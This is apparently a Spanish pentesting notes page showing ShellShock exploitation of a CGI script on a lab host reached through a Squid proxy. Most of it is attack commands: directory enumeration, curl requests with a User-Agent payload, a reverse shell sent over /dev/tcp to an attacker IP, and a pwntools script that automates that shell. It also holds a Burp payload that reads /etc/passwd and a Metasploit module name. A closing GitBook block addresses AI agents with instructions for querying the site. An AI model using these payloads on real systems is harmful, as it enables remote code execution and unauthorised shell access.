> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/shellshock-attack/shellshock-status-pentesting-web.md).

# Estado de ShellShock

Con la herramienta **GoBuster**, buscamos rutas del sistema

```shell
gobuster dir -u http://192.168.71.131/ --proxy http://192.168.71.131:3128 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 --add-slash

```

En este caso, encuentra la ruta **/cgi-bin/**, que puede ser vulnerable a un ataque ShellShock:

<figure><img src="/files/e9f0a15141f3252861aecc7e34746c8dc6ef5877" alt=""><figcaption></figcaption></figure>

Ahora, en esta misma ruta, buscamos archivos con extensiones **sh, pl cgi**, etc.

```shell
gobuster dir -u http://192.168.71.131/cgi-bin/ --proxy http://192.168.71.131:3128 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x pl,sh,cgi

```

<figure><img src="/files/27c570c6dd652a8b38f17a8e57b70d9b2dc1f578" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/4fc772d9481950e2623f8cb5ce324779c93d2d13" alt=""><figcaption></figcaption></figure>

## ShellShock:

Con curl, si enviamos una consulta, vemos que es el **mismo comando que uptime**:

```shell
curl -s http://127.0.0.1/cgi-bin/status --proxy http://192.168.71.131:3128

```

<figure><img src="/files/8859bb25d83b199e53477e0913aa367a603a784b" alt=""><figcaption></figcaption></figure>

Con curl, usamos la **ShellShock** vulnerabilidad para ejecutar comandos. Siempre establece la **ruta absoluta**:

```shell
curl -s http://127.0.0.1/cgi-bin/status --proxy http://192.168.71.131:3128 -H "User-Agent: () {:; }; echo; /usr/bin/whoami"

```

<figure><img src="/files/0dce61ec0f9196d687b6dd614642fa5c8decb687" alt=""><figcaption></figcaption></figure>

Para **obtener el acceso** a la máquina, ejecutamos el siguiente comando:

```shell
curl -s http://127.0.0.1/cgi-bin/status --proxy http://192.168.71.131:3128 -H "User-Agent: () {:; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.71.128/443 0>&1'"

```

<figure><img src="/files/6423c7c527370e8d8baaa2def9bc93a0b1b68fdb" alt=""><figcaption></figcaption></figure>

## Script automatizado en Python:

```python
#!/usr/bin/python3
import sys, signal, requests, threading
from pwn import *
def def_handler(sig, frame):
    print("/n/n[!] Saliendo.../n")
    sys.exit(1)
# Estado de ShellShock
signal.signal(signal.SIGINT, def_handler)
main_url = "http://127.0.0.1/cgi-bin/status"
squid_proxy = {'http': 'http://192.168.71.131:3128'}
lport = 443
def shellshock_attack():
    headers = {'User-Agent': "() {:; }; /bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.71.128/443 0>&1'"}
    r = requests.get(main_url, headers=headers, proxies=squid_proxy)
if __name__ == '__main__':
    try:
        threading.Thread(target=shellshock_attack).start()
    except Exceptiwe as e:
        log.error(str(e))
    shell = listen(lport, timeout=20).wait_for_login()
    if shell.sock is None:
        log.failure("No se pudo establecer el inicio de sesión")
        sys.exit(1)
    else:
        shell.interactive()

```

<figure><img src="/files/7558f65526badebc8481833483311304759ce343" alt=""><figcaption></figcaption></figure>

## Explotación con Burp Suite

En Burp Suite, podemos inyectar el payload de ShellShock en la cabecera **User-Agent** para intentar ejecutar comandos en el servidor objetivo:

```bash
User-Agent: () {:; }; echo; echo; /bin/bash -c 'cat /etc/passwd'

```

Si la vulnerabilidad está presente, el servidor envía el contenido del archivo `/etc/passwd`, siempre que la ejecución de comandos sea posible.

## Explotación con Metasploit

Metasploit proporciona un exploit dedicado para esta vulnerabilidad: carga el módulo ShellShock:

```bash
use exploit/multi/http/apache_mod_cgi_bash_env_exec

```

Si el exploit tiene éxito, se obtiene una shell en la máquina objetivo.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web-vulnerabilities/shellshock-attack/shellshock-status-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
